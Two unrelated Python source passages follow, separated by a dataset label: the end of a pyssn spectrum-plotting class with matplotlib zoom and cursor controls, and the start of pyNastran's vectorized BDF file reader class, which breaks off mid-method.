ax.legend().set_visible(False) log_.debug('ax3 drawn on ax ID {}'.format(id(ax)), calling=self.calling) def update_plot2(self): if self.ax1 is None: return if self.sp_synth_lr is None: return self.ax1_line_synth.remove() self.ax1_line_synth = self.ax1.step(self.w_ori, self.sp_synth_lr, where='mid', label='Synth', c='blue', linewidth=1.5)[0] self.ax1.legend(loc=self.legend_loc) if self.plot_magenta is not None: try: self.ax1_line_magenta.remove() except: pass i_magenta = np.where(self.sp_theo['raie_ref']['num'] == self.plot_magenta)[0] if self.label_magenta is None: self.label_magenta = self.sp_theo['raie_ref'][i_magenta]['id'] if len(i_magenta) == 1: self.ax1_line_magenta = self.ax1.step(self.w, self.cont+self.sp_theo['spectr'][i_magenta][0], where='mid', c='magenta', label=self.label_magenta, linestyle='--')[0] if self.plot_cyan is not None: try: self.ax1_line_cyan.remove() except: pass i_cyan = np.where(self.sp_theo['raie_ref']['num'] == self.plot_cyan)[0] if self.label_cyan is None: self.label_cyan = self.sp_theo['raie_ref'][i_cyan]['id'] if len(i_cyan) == 1: self.ax1_line_cyan = self.ax1.step(self.w, self.cont+self.sp_theo['spectr'][i_cyan][0], where='mid', c='cyan', label=self.label_cyan, linestyle='-')[0] for i in np.arange(len(self.ax2.texts)): self.ax2.texts.pop() for i in np.arange(len(self.ax2.lines)): self.ax2.lines.pop() i_max = np.max(self.liste_raies['i_rel']) for line in self.liste_raies: wl = line['lambda'] + line['l_shift'] + self.conf['lambda_shift'] i_rel = line['i_rel'] if (abs(i_rel) > self.get_conf('cut_plot2')) & (wl > self.ax2.get_xlim()[0]) & (wl < self.ax2.get_xlim()[1]): self.ax2.axvline( wl, ymin=0.2, ymax=0.8, color = 'blue', linestyle = 'solid', linewidth = 1.5 ) #self.ax2.plot([wl, wl], [0, 1], color='blue') #self.ax2.text(wl, -0.2, '{0} {1:7.4f}'.format(line['id'], i_rel), # rotation='vertical', fontsize=self.ax2_fontsize) #self.ax2.set_ylim((-1.5, 1)) if self.do_ax3: #self.ax3_line_diff.remove() self.ax3_line_diff = self.ax3.step(self.w_ori, self.f_ori - self.sp_synth_lr, where='mid', c='blue')[0] self.fig1.canvas.draw() def init_axes(self): self.x_plot_lims = self.get_conf('x_plot_lims') if self.x_plot_lims is None: self.x_plot_lims = (np.min(self.w), np.max(self.w)) self.y1_plot_lims = self.get_conf('y1_plot_lims') if self.y1_plot_lims is None: if self.sp_synth_lr is None: self.y1_plot_lims = (np.min(self.f), np.max(self.f)) else: mask = (self.w_ori > self.x_plot_lims[0]) & (self.w_ori < self.x_plot_lims[1]) self.y1_plot_lims = (np.min(self.sp_synth_lr[mask]), np.max(self.sp_synth_lr[mask])) self.y2_plot_lims = self.get_conf('y2_plot_lims') if self.y2_plot_lims is None: self.y2_plot_lims = (-0.5, 1,5) self.y3_plot_lims = self.get_conf('y3_plot_lims') if self.y3_plot_lims is None: mask = (self.w_ori > self.x_plot_lims[0]) & (self.w_ori < self.x_plot_lims[1]) self.y3_plot_lims = (np.min((self.f - self.cont)[mask]), np.max((self.f - self.cont)[mask])) log_.message('Axes initialized', calling=self.calling) self.print_axes() def save_axes(self): if self.ax1 is not None: self.x_plot_lims = self.ax1.get_xlim() self.y1_plot_lims = self.ax1.get_ylim() else: self.x_plot_lims = None self.y1_plot_lims = None if self.ax2 is not None: self.y2_plot_lims = self.ax2.get_ylim() else: self.y2_plot_lims = None if self.ax3 is not None: self.y3_plot_lims = self.ax3.get_ylim() else: self.y3_plot_lims = None #log_.message('Axes saved', calling=self.calling) self.print_axes() def restore_axes(self): if self.x_plot_lims is not None: if self.ax1 is not None: self.ax1.set_xlim(self.x_plot_lims) log_.message('X-axes restored to {}'.format(self.ax1.get_xlim()), calling=self.calling) else: log_.message('ax1 is None', calling=self.calling) else: log_.message('x_plot_lims is None', calling=self.calling) if self.y1_plot_lims is not None: if self.ax1 is not None: self.ax1.set_ylim(self.y1_plot_lims) if self.y2_plot_lims is not None: if self.ax2 is not None: self.ax2.set_ylim(self.y2_plot_lims) if self.y3_plot_lims is not None: if self.ax3 is not None: self.ax3.set_ylim(self.y3_plot_lims) log_.message('Axes restored', calling=self.calling) self.print_axes() def print_axes(self): log_.debug('{} {} {} {}'.format(self.x_plot_lims, self.y1_plot_lims, self.y2_plot_lims, self.y3_plot_lims), calling=self.calling) def apply_post_proc(self): if self.post_proc_file is not None and self.post_proc_file != "": try: user_module = {} execfile(os.path.abspath(self.directory)+'/'+self.post_proc_file, user_module) self.post_proc = user_module['post_proc'] log_.message('function post_proc read from {}'.format(self.post_proc_file), calling=self.calling) except: self.post_proc = None log_.warn('function post_proc NOT read from {}'.format(self.post_proc_file), calling=self.calling) if self.post_proc is not None: self.post_proc(self.fig1) def rerun(self): self.run(do_synth = True, do_read_liste = True, do_profiles=True) def replot2(self): self.save_axes() self.ax1.clear() self.ax2.clear() self.ax3.clear() self.plot2(hr=self.hr, cut=self.get_conf('cut_plot2'), split=self.split, do_ax2=self.do_ax2, do_ax3=self.do_ax3, do_buttons=self.do_buttons, fontsize=self.ax2_fontsize, legend_loc=self.legend_loc, fig=self.fig1, call_init_axes=False) self.fig1.canvas.draw() def _make_buttons(self, split): if split: self.fig1.subplots_adjust(bottom=0.3) else: self.fig1.subplots_adjust(bottom=0.2) self.buttons = {} b_w = 0.06 b_h = 0.06 b_x0 = 0.05 b_y0 = 0.02 ax_zxm = self.fig1.add_axes([b_x0, b_y0, b_w, b_h]) self.buttons['ZX-'] = Button(ax_zxm, 'ZX-') self.buttons['ZX-'].on_clicked(self._ZoomZXm) ax_zxp = self.fig1.add_axes([b_x0, b_y0 + b_h, b_w, b_h]) self.buttons['ZX+'] = Button(ax_zxp, 'ZX+') self.buttons['ZX+'].on_clicked(self._ZoomZXp) ax_zym = self.fig1.add_axes([b_x0 + b_w, b_y0, b_w, b_h]) self.buttons['Zy-'] = Button(ax_zym, 'ZY-') self.buttons['Zy-'].on_clicked(self._ZoomZYm) ax_zyp = self.fig1.add_axes([b_x0 + b_w, b_y0 + b_h, b_w, b_h]) self.buttons['Zy+'] = Button(ax_zyp, 'ZY+') self.buttons['Zy+'].on_clicked(self._ZoomZYp) ax_sxm = self.fig1.add_axes([b_x0 + 2*b_w, b_y0, b_w, b_h]) self.buttons['SX-'] = Button(ax_sxm, 'SX-') self.buttons['SX-'].on_clicked(self._ZoomSXm) ax_sxp = self.fig1.add_axes([b_x0 + 2*b_w, b_y0 + b_h, b_w, b_h]) self.buttons['SX+'] = Button(ax_sxp, 'SX+') self.buttons['SX+'].on_clicked(self._ZoomSXp) ax_sym = self.fig1.add_axes([b_x0 + 3*b_w, b_y0, b_w, b_h]) self.buttons['Sy-'] = Button(ax_sym, 'SY-') self.buttons['Sy-'].on_clicked(self._ZoomSYm) ax_syp = self.fig1.add_axes([b_x0 + 3*b_w, b_y0 + b_h, b_w, b_h]) self.buttons['Sy+'] = Button(ax_syp, 'SY+') self.buttons['Sy+'].on_clicked(self._ZoomSYp) ax_curson = self.fig1.add_axes([b_x0 + 5*b_w, b_y0, 2*b_w, b_h]) self.buttons['CursOn'] = Button(ax_curson, 'CursOn') self.buttons['CursOn'].on_clicked(self._cursOn) ax_curson = self.fig1.add_axes([b_x0 + 5*b_w, b_y0 + b_h, 2*b_w, b_h]) self.buttons['CursOff'] = Button(ax_curson, 'CursOff') self.buttons['CursOff'].on_clicked(self._cursOff) ax_rerun = self.fig1.add_axes([b_x0 + 7*b_w, b_y0 + b_h, 2*b_w, b_h]) self.buttons['Rerun'] = Button(ax_rerun, 'Rerun') self.buttons['Rerun'].on_clicked(self._call_rerun) ax_adjust = self.fig1.add_axes([b_x0 + 7*b_w, b_y0, 2*b_w, b_h]) self.buttons['Adjust'] = Button(ax_adjust, 'Adjust') self.buttons['Adjust'].on_clicked(self._call_adjust) ax_readobs = self.fig1.add_axes([b_x0 + 9*b_w, b_y0 + b_h, 2*b_w, b_h]) self.buttons['ReadObs'] = Button(ax_readobs, 'ReadObs') self.buttons['ReadObs'].on_clicked(self._call_readobs) ax_replot = self.fig1.add_axes([b_x0 + 9*b_w, b_y0, 2*b_w, b_h]) self.buttons['RePlot'] = Button(ax_replot, 'RePlot') self.buttons['RePlot'].on_clicked(self._call_replot) def _ZoomZXm(self, event=None): self._Zoom('ZX-') def _ZoomZXp(self, event=None): self._Zoom('ZX+') def _ZoomZYm(self, event=None): self._Zoom('ZY-') def _ZoomZYp(self, event=None): self._Zoom('ZY+') def _ZoomSXm(self, event=None): self._Zoom('SX-') def _ZoomSXp(self, event=None): self._Zoom('SX+') def _ZoomSYm(self, event=None): self._Zoom('SY-') def _ZoomSYp(self, event=None): self._Zoom('SY+') def _Zoom(self, zoom_direction): """ zoom_direction = 'ABC', with A in ['S', 'Z'], B in ['X', 'Y'], and C in ['+', '-'] """ xmin, xmax = self.ax1.get_xlim() dx = xmax - xmin ymin, ymax = self.ax1.get_ylim() dy = ymax - ymin if zoom_direction[0] == 'S': if zoom_direction[2] == '+': coeff = self.zoom_fact elif zoom_direction[2] == '-': coeff = -self.zoom_fact if zoom_direction[1] == 'X': xmin += coeff * dx xmax += coeff * dx elif zoom_direction[1] == 'Y': ymin += coeff * dy ymax += coeff * dy elif zoom_direction[0] == 'Z': if zoom_direction[2] == '+': coeff = self.zoom_fact elif zoom_direction[2] == '-': coeff = -self.zoom_fact if zoom_direction[1] == 'X': xmin += coeff * dx xmax -= coeff * dx elif zoom_direction[1] == 'Y': ymin += coeff * dy ymax -= coeff * dy self.ax1.set_xlim((xmin, xmax)) self.ax1.set_ylim((ymin, ymax)) self.fig1.canvas.draw() def _cursOn(self, event=None): self._cid = self.fig1.canvas.mpl_connect('button_press_event', self._curs_onclick) log_.message('Cursor ON', calling=self.calling) def _cursOff(self, event=None): if self._cid is not None: self.fig1.canvas.mpl_disconnect(self._cid) log_.message('Cursor OFF', calling=self.calling) def get_nearby_lines(self, w1, w2, do_print=True, sort='i_tot', reverse=True): if w1 == None or w2 == None: return None w = (w1 + w2)/2 w_lim = abs(w2 - w1)/2 tt = (np.abs(self.liste_raies['lambda'] + self.liste_raies['l_shift'] + self.conf['lambda_shift'] - w) < w_lim) nearby_lines = self.liste_raies[tt] i_tot = nearby_lines['i_rel']*nearby_lines['i_cor'] if sort == 'i_tot': sorts = np.argsort(i_tot) else: sorts = np.argsort(nearby_lines[sort]) if reverse: sorts = sorts[::-1] nearby_lines = np.array(nearby_lines)[sorts] if tt.sum() > 0: if do_print: print('\n{0:-^45}'.format(' CURSOR on {0:.3f} '.format(w))) self.print_line(self.liste_raies[tt]) print('-'*45) return nearby_lines def nearby_lines(self, event, do_print=True, sort='i_tot', reverse=True): nearby_lines = None w = event.xdata try: if (w > self.ax1.get_xlim()[1]) or (w < self.ax1.get_xlim()[0]) or (event.button == 2): self._cursOff() return None except AttributeError: log_.warn('ax1 not defined', calling=self.calling) return None try: if event.button in (1,3): if self.firstClick: self.cursor_w0 = w self.firstClick = False else: self.cursor_w1 = self.cursor_w0 self.cursor_w2 = w self.firstClick = True w = (self.cursor_w1+self.cursor_w2)/2 w_lim = self.cursor_width * (self.ax1.get_xlim()[1] - self.ax1.get_xlim()[0]) if abs(self.cursor_w2-w) < w_lim/10: self.cursor_w1 = self.limit_sp[0] self.cursor_w2 = self.limit_sp[1] else: if abs(self.cursor_w2-w) > w_lim: w_lim = abs(self.cursor_w2-w) w_lim = abs(self.cursor_w2-w) self.cursor_w1 = w - w_lim self.cursor_w2 = w + w_lim nearby_lines = self.get_nearby_lines(self.cursor_w1, self.cursor_w2, do_print=do_print) return nearby_lines except AttributeError: log_.warn('ax1 not defined', calling=self.calling) return None def _curs_onclick(self, event): wl = event.xdata try: if (wl > self.ax1.get_xlim()[1]) or (wl < self.ax1.get_xlim()[0]) or (event.button == 2): self._cursOff() return None except AttributeError: log_.warn('ax1 not defined', calling=self.calling) return None try: if event.button in (1,3): wl_lim = self.cursor_width * (self.ax1.get_xlim()[1] - self.ax1.get_xlim()[0]) tt = (np.abs(self.liste_raies['lambda'] + self.liste_raies['l_shift'] + self.conf['lambda_shift'] - wl) < wl_lim) if tt.sum() > 0: print('\n{0:-^45}'.format(' CURSOR on {0:.3f} '.format(wl))) self.print_line(self.liste_raies[tt]) print('-'*45) except AttributeError: log_.warn('ax1 not defined', calling=self.calling) return None def _call_adjust(self, event=None): self.adjust() self.update_plot2() def _call_rerun(self, event=None): self.rerun() self.replot2() def _call_readobs(self, event=None): self.init_obs(spectr_obs=None, sp_norm=None, obj_velo=None, limit_sp=self.limit_sp) self.init_red_corr() self.make_continuum() self.sp_synth_tot = self.convol_synth(self.cont, self.sp_synth) self.cont_lr, self.sp_synth_lr = self.rebin_on_obs() self.replot2() def _call_replot(self, event=None): self.replot2() def plot_indiv_sp(self, y_shift_coeff=None, legend_zoom=.115): """ Seems buggy, loosing ax1.xlim when plotted. """ if y_shift_coeff is None: y_shift_coeff = np.max(self.sp_theo['spectr'])/100. fig_indiv_spectra = plt.figure() if self.ax1 is not None: ax_is = fig_indiv_spectra.add_subplot(111, sharex=self.ax1) else: ax_is = fig_indiv_spectra.add_subplot(111) for i in np.arange(self.n_sp_theo): label = self.sp_theo['raie_ref']['id'][i] ax_is.plot(self.w, self.sp_theo['spectr'][i] + y_shift_coeff*(self.n_sp_theo - i), label=label) ax_is.set_ylim((0, y_shift_coeff*(i+2))) ax_is.legend(fontsize= i * legend_zoom ) self.fig_indiv_spectra = fig_indiv_spectra self.ax_indiv_spectra = ax_is def plot_profile(self): self.fig_prof = plt.figure() self.ax_prof = plt.semilogy(self.filter_) def main_loc(config_file): """ In case of not having Qt4. Usage: from pyssn.core.spectrum import main_loc sp = main_loc('./s6302_n_c_init.py') """ sp = spectrum(config_file=config_file) fig = plt.figure(figsize=(20, 7)) sp.plot2(fig=fig) sp.save_axes() plt.show() return sp def main(): """ """ parser = get_parser() args = parser.parse_args() if args.file is None: log_.error('A file name is needed, use option -f') log_.level = args.verbosity sp = spectrum(config_file=args.file, post_proc_file=args.post_proc) fig = plt.figure(figsize=(20, 7)) sp.plot2(fig=fig) sp.apply_post_proc() plt.show()
codeparrot/github-code-clean
# coding: utf-8 # pylint: disable=W0201,R0915,R0912 """ Main BDF class. Defines: - BDF see https://docs.plm.automation.siemens.com/tdoc/nxnastran/10/help/#uid:index """ from __future__ import (nested_scopes, generators, division, absolute_import, print_function, unicode_literals) import os import sys import traceback from codecs import open as codec_open from collections import defaultdict from six import string_types, iteritems, itervalues, iterkeys from six.moves.cPickle import load, dump import numpy as np from pyNastran.utils import object_attributes, print_bad_path, _filename from pyNastran.utils.log import get_logger2 from pyNastran.bdf.utils import ( _parse_pynastran_header, to_fields, get_include_filename, parse_executive_control_deck, parse_patran_syntax) #from pyNastran.bdf.field_writer_8 import print_card_8 from pyNastran.bdf.field_writer_16 import print_card_16 from pyNastran.bdf.cards.base_card import _format_comment from pyNastran.bdf.cards.utils import wipe_empty_fields #from pyNastran.bdf.write_path import write_include from pyNastran.bdf.bdf_interface.assign_type import ( integer, integer_or_string, string) #from pyNastran.bdf.errors import CrossReferenceError, DuplicateIDsError, CardParseSyntaxError #from pyNastran.bdf.field_writer_16 import print_field_16 from pyNastran.bdf.case_control_deck import CaseControlDeck from pyNastran.bdf.bdf_interface.bdf_card import BDFCard from pyNastran.bdf.dev_vectorized.bdf_interface2.write_mesh import WriteMesh from pyNastran.bdf.dev_vectorized.bdf_interface2.get_card import GetMethods from pyNastran.bdf.dev_vectorized.bdf_interface2.cross_reference import CrossReference from pyNastran.bdf.dev_vectorized.bdf_interface2.add_card import AddCard from pyNastran.bdf.field_writer_16 import print_field_16 from pyNastran.bdf.dev_vectorized.cards.constraints.spc import SPC, get_spc_constraint from pyNastran.bdf.dev_vectorized.cards.constraints.spcd import SPCD from pyNastran.bdf.dev_vectorized.cards.constraints.spc1 import SPC1, get_spc1_constraint from pyNastran.bdf.dev_vectorized.cards.constraints.spcadd import SPCADD, get_spcadd_constraint from pyNastran.bdf.dev_vectorized.cards.constraints.mpc import MPC, get_mpc_constraint #from pyNastran.bdf.dev_vectorized.cards.constraints.mpcax import MPCAX from pyNastran.bdf.dev_vectorized.cards.constraints.mpcadd import MPCADD from pyNastran.bdf.dev_vectorized.cards.deqatn import DEQATN from pyNastran.bdf.dev_vectorized.cards.dynamic import ( #DELAY, DPHASE, FREQ, FREQ1, FREQ2, FREQ4, TSTEP, TSTEPNL, NLPARM, NLPCI, #TF ) from pyNastran.bdf.dev_vectorized.cards.aero.aero_cards import ( AECOMP, AEFACT, AELINK, AELIST, AEPARM, AESTAT, AESURF, AESURFS, AERO, AEROS, CSSCHD, CAERO1, CAERO2, CAERO3, CAERO4, CAERO5, PAERO1, PAERO2, PAERO3, PAERO4, PAERO5, MONPNT1, FLFACT, FLUTTER, GUST, MKAERO1, MKAERO2, SPLINE1, SPLINE2, SPLINE3, SPLINE4, SPLINE5, TRIM, DIVERG) from pyNastran.bdf.dev_vectorized.cards.optimization import ( DCONADD, DCONSTR, DESVAR, DDVAL, DOPTPRM, DLINK, DRESP1, DRESP2, DRESP3, DVCREL1, DVCREL2, DVMREL1, DVMREL2, DVPREL1, DVPREL2, DVGRID) from pyNastran.bdf.dev_vectorized.cards.bdf_sets import ( ASET, BSET, CSET, QSET, USET, ASET1, BSET1, CSET1, QSET1, USET1, SET1, SET3, #RADSET, SEBSET, SECSET, SEQSET, # SEUSET SEBSET1, SECSET1, SEQSET1, # SEUSET1 SESET, #SEQSEP, ) # old cards from pyNastran.bdf.cards.params import PARAM from pyNastran.bdf.cards.elements.rigid import RBAR, RBAR1, RBE1, RBE2, RBE3, RROD, RSPLINE from pyNastran.bdf.cards.contact import BCRPARA, BCTADD, BCTSET, BSURF, BSURFS, BCTPARA from pyNastran.bdf.cards.elements.elements import PLOTEL #CFAST, CGAP, CRAC2D, CRAC3D, from pyNastran.bdf.cards.methods import EIGB, EIGC, EIGR, EIGP, EIGRL from pyNastran.bdf.cards.dmig import DMIG, DMI, DMIJ, DMIK, DMIJI, DMIG_UACCEL #from pyNastran.bdf.cards.loads.loads import ( #DAREA, #LSEQ, SLOAD, DAREA, RANDPS, RFORCE, RFORCE1, SPCD, LOADCYN #) def read_bdf(bdf_filename=None, validate=True, xref=True, punch=False, encoding=None, log=None, debug=True, mode='msc'): """ Creates the BDF object Parameters ---------- bdf_filename : str (default=None -> popup) the bdf filename debug : bool/None used to set the logger if no logger is passed in True: logs debug/info/error messages False: logs info/error messages None: logs error messages log : logging module object / None if log is set, debug is ignored and uses the settings the logging object has validate : bool runs various checks on the BDF (default=True) xref : bool should the bdf be cross referenced (default=True) punch : bool indicates whether the file is a punch file (default=False) encoding : str the unicode encoding (default=None; system default) Returns ------- model : BDF() an BDF object .. code-block:: python >>> bdf = BDF() >>> bdf.read_bdf(bdf_filename, xref=True) >>> g1 = bdf.Node(1) >>> print(g1.get_position()) [10.0, 12.0, 42.0] >>> bdf.write_card(bdf_filename2) >>> print(bdf.card_stats()) ---BDF Statistics--- SOL 101 bdf.nodes = 20 bdf.elements = 10 etc. .. note :: this method will change in order to return an object that does not have so many methods .. todo:: finish this """ model = BDF(log=log, debug=debug, mode=mode) model.read_bdf(bdf_filename=bdf_filename, validate=validate, xref=xref, punch=punch, read_includes=True, encoding=encoding) #if 0: #keys_to_suppress = [] #method_names = model.object_methods(keys_to_skip=keys_to_suppress) #methods_to_remove = [ #'process_card', 'read_bdf', 'fill_dmigs', 'disable_cards', 'set_dynamic_syntax', #'create_card_object', 'create_card_object_fields', 'create_card_object_list', #'add_AECOMP', 'add_AEFACT', 'add_AELINK', 'add_AELIST', 'add_AEPARM', 'add_AERO', #'add_AEROS', 'add_AESTAT', 'add_AESURF', 'add_ASET', 'add_BCRPARA', 'add_BCTADD', #'add_BCTPARA', 'add_BCTSET', 'add_BSET', 'add_BSURF', 'add_BSURFS', 'add_CAERO', #'add_DIVERG', #'add_CSET', 'add_CSSCHD', 'add_DAREA', 'add_DCONADD', 'add_DCONSTR', 'add_DDVAL', #'add_DELAY', 'add_DEQATN', 'add_DESVAR', 'add_DLINK', 'add_DMI', 'add_DMIG', #'add_DMIJ', 'add_DMIJI', 'add_DMIK', 'add_DPHASE', 'add_DRESP', 'add_DTABLE', #'add_DVMREL', 'add_DVPREL', 'add_EPOINT', 'add_FLFACT', 'add_FLUTTER', 'add_FREQ', #'add_GUST', 'add_LSEQ', 'add_MKAERO', 'add_MONPNT', 'add_NLPARM', 'add_NLPCI', #'add_PAERO', 'add_PARAM', 'add_PBUSHT', 'add_PDAMPT', 'add_PELAST', 'add_PHBDY', #'add_QSET', 'add_SEBSET', 'add_SECSET', 'add_SEQSET', 'add_SESET', 'add_SET', #'add_SEUSET', 'add_SPLINE', 'add_spoint', 'add_tempd', 'add_TF', 'add_TRIM', #'add_TSTEP', 'add_TSTEPNL', 'add_USET', #'add_card', 'add_card_fields', 'add_card_lines', 'add_cmethod', 'add_constraint', #'add_constraint_MPC', 'add_constraint_MPCADD', #'add_constraint_SPC', 'add_constraint_SPCADD', #'add_convection_property', 'add_coord', 'add_creep_material', 'add_damper', #'add_dload', '_add_dload_entry', 'add_element', 'add_hyperelastic_material', #'add_load', 'add_mass', 'add_material_dependence', 'add_method', 'add_node', #'add_plotel', 'add_property', 'add_property_mass', 'add_random_table', #'add_rigid_element', 'add_structural_material', 'add_suport', 'add_suport1', #'add_table', 'add_table_sdamping', 'add_thermal_BC', 'add_thermal_element', #'add_thermal_load', 'add_thermal_material', #'set_as_msc', #'set_as_nx', #'pop_parse_errors', ##'pop_xref_errors', #'set_error_storage', #'is_reject', #] #for method_name in method_names: #if method_name not in methods_to_remove + keys_to_suppress: ##print(method_name) #pass #else: ### TODO: doesn't work... ##delattr(model, method_name) #pass #model.get_bdf_stats() return model class BDF(AddCard, CrossReference, WriteMesh, GetMethods): """ NASTRAN BDF Reader/Writer/Editor class. """ #: required for sphinx bug #: http://stackoverflow.com/questions/11208997/autoclass-and-instance-attributes #__slots__ = ['_is_dynamic_syntax'] def __init__(self, debug=True, log=None, mode='msc'): """ Initializes the BDF object Parameters ---------- debug : bool/None used to set the logger if no logger is passed in True: logs debug/info/error messages False: logs info/error messages None: logs error messages log : logging module object / None if log is set, debug is ignored and uses the settings the logging object has """ AddCard.__init__(self) CrossReference.__init__(self) WriteMesh.__init__(self) GetMethods.__init__(self) assert debug in [True, False, None], 'debug=%r' % debug self.echo = False self.read_includes = True # file management parameters self.active_filenames = [] self.active_filename = None self.include_dir = '' self.dumplines = False # this flag will be flipped to True someday (and then removed), but # doesn't support 100% of cards yet. It enables a new method for card # parsing. # # 80.3 seconds -> 67.2 seconds for full_bay model # (multiple BDF passes among other things) self._fast_add = True self._relpath = True if sys.version_info < (2, 6): self._relpath = False self.log = get_logger2(log, debug) #: list of all read in cards - useful in determining if entire BDF #: was read & really useful in debugging self.card_count = {} #: stores the card_count of cards that have been rejected self.reject_count = {} #: was an ENDDATA card found #self.foundEndData = False #: useful in debugging errors in input self.debug = debug #: flag that allows for OpenMDAO-style optimization syntax to be used self._is_dynamic_syntax = False #: lines that were rejected b/c they were for a card that isnt supported self.reject_lines = [] #: cards that were created, but not processed self.reject_cards = [] # self.__init_attributes() #: the list of possible cards that will be parsed self.cards_to_read = set([ 'GRID', 'SPOINT', 'EPOINT', 'POINT', 'POINTAX', 'PARAM', ## params # coords 'CORD1R', 'CORD1C', 'CORD1S', 'CORD2R', 'CORD2C', 'CORD2S', 'PELAS', 'CELAS1', 'CELAS2', 'CELAS3', 'CELAS4', 'CROD', 'PROD', 'CONROD', 'CTUBE', 'PTUBE', 'PBAR', 'PBARL', 'CBAR', 'CBEAM', 'PSHEAR', 'CSHEAR', 'CQUAD4', 'CTRIA3', 'CQUAD8', 'CTRIA6', 'PSHELL', 'PCOMP', 'PCOMPG', 'PSOLID', 'PLSOLID', 'CTETRA', 'CTETRA4', 'CTETRA10', 'CPYRAM', 'CPYRAM5', 'CPYRAM13', 'CPENTA', 'CPENTA6', 'CPENTA15', 'CHEXA', 'CHEXA8', 'CHEXA20', 'CBUSH', 'CBUSH1D', 'CBUSH2D', #'PBUSH', 'PBUSH1D', 'PBUSH2D', 'CONM1', 'CONM2', 'PLOTEL', 'RBAR', 'RBAR1', 'RBE1', 'RBE2', 'RBE3', 'RROD', 'RSPLINE', 'MAT1', 'MAT8', # loads 'LOAD', 'GRAV', 'FORCE', 'FORCE1', 'FORCE2', 'MOMENT', 'MOMENT1', 'MOMENT2', 'PLOAD', 'PLOAD2', 'PLOAD4', 'PLOADX1', 'TLOAD1', 'TLOAD2', 'DELAY', 'RLOAD1', 'DPHASE', #'RLOAD2', # constraints 'SPC', 'SPCADD', 'SPC1', 'SPCD', 'MPC', 'MPCADD', # aero cards 'AERO', ## aero 'AEROS', ## aeros 'GUST', ## gusts 'FLUTTER', ## flutters 'FLFACT', ## flfacts 'MKAERO1', 'MKAERO2', ## mkaeros 'AECOMP', ## aecomps 'AEFACT', ## aefacts 'AELINK', ## aelinks 'AELIST', ## aelists 'AEPARM', ## aeparams 'AESTAT', ## aestats 'AESURF', ## aesurf #'AESURFS', ## aesurfs 'CAERO1', 'CAERO2', 'CAERO3', 'CAERO4', ## caeros # 'CAERO5', 'PAERO1', 'PAERO2', 'PAERO3', ## paeros 'PAERO4', # 'PAERO5', 'MONPNT1', ## monitor_points 'SPLINE1', 'SPLINE2', 'SPLINE4', 'SPLINE5', ## splines #'SPLINE3', 'SPLINE6', 'SPLINE7', 'TRIM', ## trims 'CSSCHD', ## csschds 'DIVERG', ## divergs # ---- dynamic cards ---- # 'DAREA', ## dareas 'DPHASE', ## dphases 'DELAY', ## delays 'NLPARM', ## nlparms 'NLPCI', ## nlpcis 'TSTEP', ## tsteps 'TSTEPNL', ## tstepnls # direct matrix input cards 'DMIG', 'DMIJ', 'DMIJI', 'DMIK', 'DMI', # optimization cards 'DEQATN', 'DTABLE', 'DCONSTR', 'DESVAR', 'DDVAL', 'DRESP1', 'DRESP2', 'DRESP3', 'DVCREL1', 'DVCREL2', 'DVPREL1', 'DVPREL2', 'DVMREL1', 'DVMREL2', 'DOPTPRM', 'DLINK', 'DCONADD', 'DVGRID', 'SET1', 'SET3', ## sets 'ASET', 'ASET1', ## asets 'BSET', 'BSET1', ## bsets 'CSET', 'CSET1', ## csets 'QSET', 'QSET1', ## qsets 'USET', 'USET1', ## usets ## suport/suport1/se_suport 'SUPORT', 'SUPORT1', 'SESUP', #: methods 'EIGB', 'EIGR', 'EIGRL', #: cMethods 'EIGC', 'EIGP', # other 'INCLUDE', # '=' 'ENDDATA', ]) case_control_cards = set(['FREQ', 'GUST', 'MPC', 'SPC', 'NLPARM', 'NSM', 'TEMP', 'TSTEPNL', 'INCLUDE']) self._unique_bulk_data_cards = self.cards_to_read.difference(case_control_cards) #: / is the delete from restart card self.special_cards = ['DEQATN', '/'] self._make_card_parser() if self.is_msc: self.set_as_msc() elif self.is_nx: self.set_as_nx() else: msg = 'mode=%r is not supported; modes=[msc, nx]' % self._nastran_format raise NotImplementedError(msg) def __getstate__(self): """clears out a few variables in order to pickle the object""" # Copy the object's state from self.__dict__ which contains # all our instance attributes. Always use the dict.copy() # method to avoid modifying the original state. state = self.__dict__.copy() # Remove the unpicklable entries. #del state['spcObject'], state['mpcObject'], del state['_card_parser'], state['_card_parser_b'], state['log'] return state def save(self, obj_filename='model.obj', unxref=True): """ ..warning:: doesn't work right """ #del self.log #del self.spcObject #del self.mpcObject #del self._card_parser, self._card_parser_prepare #try: #del self.log #except AttributeError: #pass #self.case_control_lines = str(self.case_control_deck).split('\n') #del self.case_control_deck if unxref: self.uncross_reference() with open(obj_filename, 'w') as obj_file: dump(self, obj_file) def load(self, obj_filename='model.obj'): """ ..warning:: doesn't work right """ return #del self.log #del self.spcObject #del self.mpcObject #lines = print(self.case_control_deck) #self.case_control_lines = lines.split('\n') #del self.case_control_deck #self.uncross_reference() #import types with open(obj_filename, "r") as obj_file: obj = load(obj_file) keys_to_skip = [ 'case_control_deck', 'log', #'mpcObject', 'spcObject', 'node_ids', 'coord_ids', 'element_ids', 'property_ids', 'material_ids', 'caero_ids', 'is_long_ids', 'nnodes', 'ncoords', 'nelements', 'nproperties', 'nmaterials', 'ncaeros', 'point_ids', 'subcases', '_card_parser', '_card_parser_b', ] for key in object_attributes(self, mode="all", keys_to_skip=keys_to_skip): if key.startswith('__') and key.endswith('__'): continue #print('key =', key) val = getattr(obj, key) #print(key) #if isinstance(val, types.FunctionType): #continue setattr(self, key, val) self.case_control_deck = CaseControlDeck(self.case_control_lines, log=self.log) self.log.debug('done loading!') def replace_cards(self, replace_model): """ Replaces the common cards from the current (self) model from the ones in the new replace_model. The intention is that you're going to replace things like PSHELLs and DESVARs from a pch file in order to update your BDF with the optimized geometry. .. todo:: only does a subset of cards. .. note:: loads/spcs (not supported) are tricky because you can't replace cards one-to-one...not sure what to do """ for nid, node in iteritems(replace_model.nodes): self.nodes[nid] = node for eid, elem in iteritems(replace_model.elements): self.elements[eid] = elem for eid, elem in iteritems(replace_model.rigid_elements): self.rigid_elements[eid] = elem for pid, prop in iteritems(replace_model.properties): self.properties[pid] = prop for mid, mat in iteritems(replace_model.materials): self.materials[mid] = mat for dvid, desvar in iteritems(replace_model.desvars): self.desvars[dvid] = desvar for dvid, dvprel in iteritems(replace_model.dvprels): self.dvprels[dvid] = dvprel for dvid, dvmrel in iteritems(replace_model.dvmrels): self.dvmrels[dvid] = dvmrel for dvid, dvgrid in iteritems(replace_model.dvgrids): self.dvgrids[dvid] = dvgrid def disable_cards(self, cards): """ Method for removing broken cards from the reader Parameters ---------- cards : List[str]; Set[str] a list/set of cards that should not be read .. python :: bdfModel.disable_cards(['DMIG', 'PCOMP']) """ if cards is None: 